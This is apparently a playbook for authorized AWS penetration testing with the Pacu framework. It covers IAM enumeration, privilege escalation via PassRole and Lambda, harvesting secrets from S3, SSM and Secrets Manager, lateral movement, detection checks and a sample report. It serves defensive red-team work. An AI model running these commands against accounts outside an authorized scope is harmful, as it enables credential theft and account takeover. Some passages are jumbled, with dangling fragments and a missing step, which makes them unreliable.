Performing authorized AWS penetration testing using Pacu, the open-source AWS exploitation framework, to enumerate IAM configurations, discover privilege escalation paths, test credential harvesting, and validate security controls through systematic attack simulation.
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Performing authorized AWS penetration testing using Pacu, the open-source AWS exploitation framework, to enumerate IAM configurations, discover privilege escalation paths, test credential harvesting, and validate security controls through systematic attack simulation.
When conducting authorized penetration testing of AWS environments
When validating the effectiveness of IAM policies, SCPs, and permission boundaries
When assessing the blast radius of a compromised set of AWS credentials
When testing detection capabilities of GuardDuty, Security Hub, and custom alerting
When building red team exercises against AWS cloud infrastructure
Do not use for unauthorized testing of any AWS account, for testing AWS infrastructure itself (covered by shared responsibility), for DDoS or volumetric attacks without AWS approval, or for production account testing without explicit authorization and breakglass procedures.
Most Often Missed & How to Confirm
Incomplete enumeration hides escalation paths:iam__privesc_scan only reasons over permissions Pacu already collected. Run iam__enum_permissions first and watch for AccessDenied on iam:GetAccountAuthorizationDetails - a gap there makes the scanner report "no privesc" when paths exist.
Region scoping: Pacu enumerates only regions in set_regions. Run set_regions all or you'll silently miss EC2, Lambda, Secrets Manager, and SSM resources living in us-west-2 / eu-* etc.
PassRole combos are the high-value misses:iam:PassRole + lambda:CreateFunction, ec2:RunInstances, glue:CreateDevEndpoint, or cloudformation:CreateStack. These fail silently if iam__enum_roles didn't map the passable target roles first.
Don't stop at IAM:lambda__enum (env vars), ssm__download_parameters, and secretsmanager__enum routinely yield the next credential set. Also check unauth paths: ebs__enum_snapshots_unauth and public AMIs/RDS snapshots shared with your account.
Resource-policy backdoors: S3 bucket policies, KMS key policies, SQS, and Lambda resource policies can grant access the IAM scan never sees.
How to confirm a hit (avoid false negatives): after iam__privesc_scan --escalate, prove the new access - run aws sts get-caller-identity with the escalated creds and actually perform the gated action (e.g. attach a policy then , or invoke the created Lambda and read its output). A 200 from is not proof of admin. completed with no AccessDenied gaps, all regions were scanned, PassRole targets were mapped, and resource-based policies were reviewed.
list-attached-user-policies
CreateFunction
Don't conclude "no escalation" until:
iam__enum_permissions
Prerequisites
Written authorization from the AWS account owner with defined scope and rules of engagement
Pacu v1.5+ installed (pip install pacu)
Test AWS credentials with limited starting permissions (simulates compromised credential scenario)
CloudTrail logging enabled to capture all Pacu activity for post-engagement review
GuardDuty enabled to validate detection of Pacu activities
Emergency contact and rollback procedures documented
Workflow
Step 1: Initialize Pacu Session and Configure Credentials
Set up a Pacu session with the test credentials and define the engagement scope.
# Install Pacu
pip install pacu
# Start Pacu
pacu
# Create a new session for the engagement
Pacu > set_keys --key-alias pentest-target
# Enter Access Key ID: AKIA...# Enter Secret Access Key: ...# Verify identity
Pacu > whoami# Review available modules
Pacu > list
Pacu > search iam
Pacu > search ec2
Pacu > search s3
Step 2: Enumerate IAM Configuration
Run IAM enumeration modules to map users, roles, policies, and group memberships.
# Comprehensive IAM enumeration
Pacu > run iam__enum_users_roles_policies_groups
# Enumerate detailed permissions for the current principal
Pacu > run iam__enum_permissions
# Enumerate account authorization details (requires iam:GetAccountAuthorizationDetails)
Pacu > run iam__get_credential_report
# Enumerate role trust policies for cross-account access
Pacu > run iam__enum_roles
# Check current session data
Pacu > data iam
Step 3: Scan for Privilege Escalation Paths
Use Pacu's privilege escalation scanner to identify all exploitable escalation vectors.
Discover accessible data stores including S3, DynamoDB, RDS, and Secrets Manager.
# Enumerate S3 buckets
Pacu > run s3__bucket_finder
# Download S3 bucket data for analysis
Pacu > run s3__download_bucket --bucket target-bucket --dl-names
# Enumerate EC2 instances and extract user data
Pacu > run ec2__enum
Pacu > run ec2__download_userdata
# Enumerate Lambda functions and check for secrets in environment variables
Pacu > run lambda__enum
# Enumerate Secrets Manager
Pacu > run secretsmanager__enum
# Enumerate SSM parameters (often contain secrets)
Pacu > run ssm__download_parameters
# Check for exposed EBS snapshots
Pacu > run ebs__enum_snapshots_unauth
Step 5: Test Lateral Movement and Persistence
Evaluate cross-account access, service exploitation, and persistence mechanisms.
# Test cross-account role assumption
Pacu > run sts__assume_role --role-arn arn:aws:iam::TARGET:role/CrossAccountRole
# Enumerate Lambda for code execution opportunities
Pacu > run lambda__enum
# If lambda:UpdateFunctionCode permission exists, could inject code# Test EC2 instance connect for lateral movement
Pacu > run ec2__enum
# Check for instances with instance profiles that have broader permissions# Check for CodeBuild projects (potential credential access)
Pacu > run codebuild__enum
# Enumerate ECS/Fargate for container-based lateral movement
Pacu > run ecs__enum
# Export all discovered data
Pacu > data all
Step 6: Validate Detection and Generate Report
Review whether security controls detected the testing activities and compile findings.
# Check GuardDuty findings generated during testing
aws guardduty list-findings \
--detector-id $(aws guardduty list-detectors --query 'DetectorIds[0]' --output text) \
--finding-criteria '{
"Criterion": {
"updatedAt": {"GreaterThanOrEqual": ENGAGEMENT_START_EPOCH}
}
}' --output json
# Check Security Hub findings
aws securityhub get-findings \
--filters '{
"CreatedAt": [{"Start": "ENGAGEMENT_START_ISO", "End": "ENGAGEMENT_END_ISO"}]
}'# Export Pacu session data for reporting
Pacu > export_keys --all
Pacu > data all > pacu-session-export.json
# Clean up any test artifacts created during assessment
aws iam delete-user --user-name pacu-test-user 2>/dev/null
aws iam delete-access-key --user-name pacu-test-user --access-key-id AKIA... 2>/dev/null
Key Concepts
Term
Definition
Pacu
Open-source AWS exploitation framework maintained by Rhino Security Labs, providing modular attack capabilities for authorized penetration testing
Privilege Escalation Scan
Automated analysis of IAM policies to identify known methods for elevating permissions from limited access to administrative control
iam:PassRole
Critical IAM action allowing a principal to assign roles to AWS services, enabling indirect privilege escalation through Lambda, EC2, or Glue
Cross-Account Role Assumption
Using sts:AssumeRole to obtain temporary credentials in another AWS account through trust policy configurations
Rules of Engagement
Documented agreement defining the scope, methods, timing, and boundaries of a penetration testing engagement
Post-Exploitation
Activities performed after initial access to demonstrate impact, including data access, lateral movement, and persistence establishment
Tools & Systems
Pacu: AWS exploitation framework with 50+ modules for enumeration, escalation, persistence, and data exfiltration
CloudFox: AWS enumeration tool for identifying attack paths from an attacker perspective
Principal Mapper: IAM privilege escalation graph analysis tool for visualizing escalation paths
ScoutSuite: Multi-cloud security assessment tool for identifying misconfigurations before testing
AWS CloudTrail: Audit logging for capturing all Pacu activities during the engagement
Common Scenarios
Scenario: Red Team Assessment Starting from Compromised Developer Credentials
Context: A red team exercise simulates a scenario where an attacker obtains a developer's AWS access key from a leaked repository. The goal is to determine the maximum impact achievable from this starting point.
Approach:
Initialize Pacu with the compromised credentials and run whoami to confirm identity
Run iam__enum_permissions to map the developer's effective permissions
Execute iam__privesc_scan to identify escalation paths from developer to admin
Discover the developer can call iam:PassRole + lambda:CreateFunction, creating a Lambda with an admin role
Exploit the escalation to obtain admin-level temporary credentials
Enumerate S3 buckets, download sensitive data, and access Secrets Manager
Verify whether GuardDuty detected the escalation and data access activities
Clean up all test artifacts and document the complete attack chain
Pitfalls: Pacu modules can be noisy and generate many API calls in a short time. GuardDuty may trigger Recon:IAMUser/MaliciousIPCaller findings from the tester's IP. Coordinate with the SOC team to whitelist the testing IP or establish a clear communication channel to distinguish testing from real attacks. Always clean up persistence artifacts after testing.
Output Format
AWS Penetration Test Report (Pacu)
=====================================
Target Account: 123456789012
Engagement Period: 2026-02-20 to 2026-02-23
Starting Credentials: Developer role (read-only S3, Lambda invoke)
Authorization: Signed ROE document #PT-2026-015
ATTACK PATH SUMMARY:
Starting access: S3 read-only, Lambda invoke
Maximum access achieved: AdministratorAccess (full account compromise)
Time to admin: 47 minutes
Detection by GuardDuty: Yes (after 12 minutes)
Detection by Security Hub: Yes (after 18 minutes)
SOC response time: 45 minutes (missed the escalation window)
PACU MODULES EXECUTED:
iam__enum_users_roles_policies_groups: SUCCESS
iam__enum_permissions: SUCCESS
iam__privesc_scan: 3 escalation paths found
s3__download_bucket: 4 buckets accessed
lambda__enum: 12 functions enumerated
secretsmanager__enum: 8 secrets retrieved
ESCALATION PATHS EXPLOITED:
[1] iam:PassRole + lambda:CreateFunction -> AdminRole (CRITICAL)
[2] sts:AssumeRole -> CrossAccountProdRole (HIGH)
[3] iam:CreatePolicyVersion on dev-policy (CRITICAL)
DATA ACCESSED:
S3 objects downloaded: 1,247 files (2.3 GB)
Secrets Manager values: 8 secrets including DB credentials
SSM parameters: 23 parameters including API keys
DETECTION RESULTS:
GuardDuty findings generated: 7
Security Hub findings: 12
Custom CloudWatch alarms triggered: 3
SOC acknowledged: Yes (45 min response)
RECOMMENDATIONS:
1. Apply permission boundaries to all developer roles
2. Remove iam:PassRole from non-admin principals
3. Reduce SOC response time to < 15 minutes for IAM escalation alerts
4. Implement SCP blocking iam:CreatePolicyVersion in non-admin OUs
